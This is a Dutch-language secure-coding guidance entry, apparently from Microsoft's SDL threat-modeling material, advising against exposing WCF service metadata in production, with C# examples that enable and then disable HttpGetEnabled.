WCF-Information openbaar maken via metagegevens

Titel Details
Onderdeel WCF
SDL-fase Build
Toepasselijke technologieën .NET Framework 3
Kenmerken N.v.t.
Referenties MSDN, Fortify Kingdom
Stappen Metagegevens kunnen aanvallers helpen meer te weten te komen over het systeem en een vorm van aanval te plannen. WCF-services kunnen worden geconfigureerd om metagegevens beschikbaar te maken. Metagegevens bevatten gedetailleerde informatie over de servicebeschrijving en mogen niet worden uitgezonden in productieomgevingen. De HttpGetEnabled / HttpsGetEnabled eigenschappen van de klasse ServiceMetaData bepalen of een service de metagegevens beschikbaar maakt

Voorbeeld

De onderstaande code instrueert WCF om de metagegevens van een service uit te zenden

ServiceMetadataBehavior smb = new ServiceMetadataBehavior();
smb.HttpGetEnabled = true; 
smb.HttpGetUrl = new Uri(EndPointAddress); 
Host.Description.Behaviors.Add(smb); 

Verzend geen servicemetagegevens in een productieomgeving. Stel de eigenschappen HttpGetEnabled/HttpsGetEnabled van de klasse ServiceMetaData in op false.

Voorbeeld

De onderstaande code instrueert WCF om de metagegevens van een service niet uit te zenden.

ServiceMetadataBehavior smb = new ServiceMetadataBehavior(); 
smb.HttpGetEnabled = false; 
smb.HttpGetUrl = new Uri(EndPointAddress); 
Host.Description.Behaviors.Add(smb);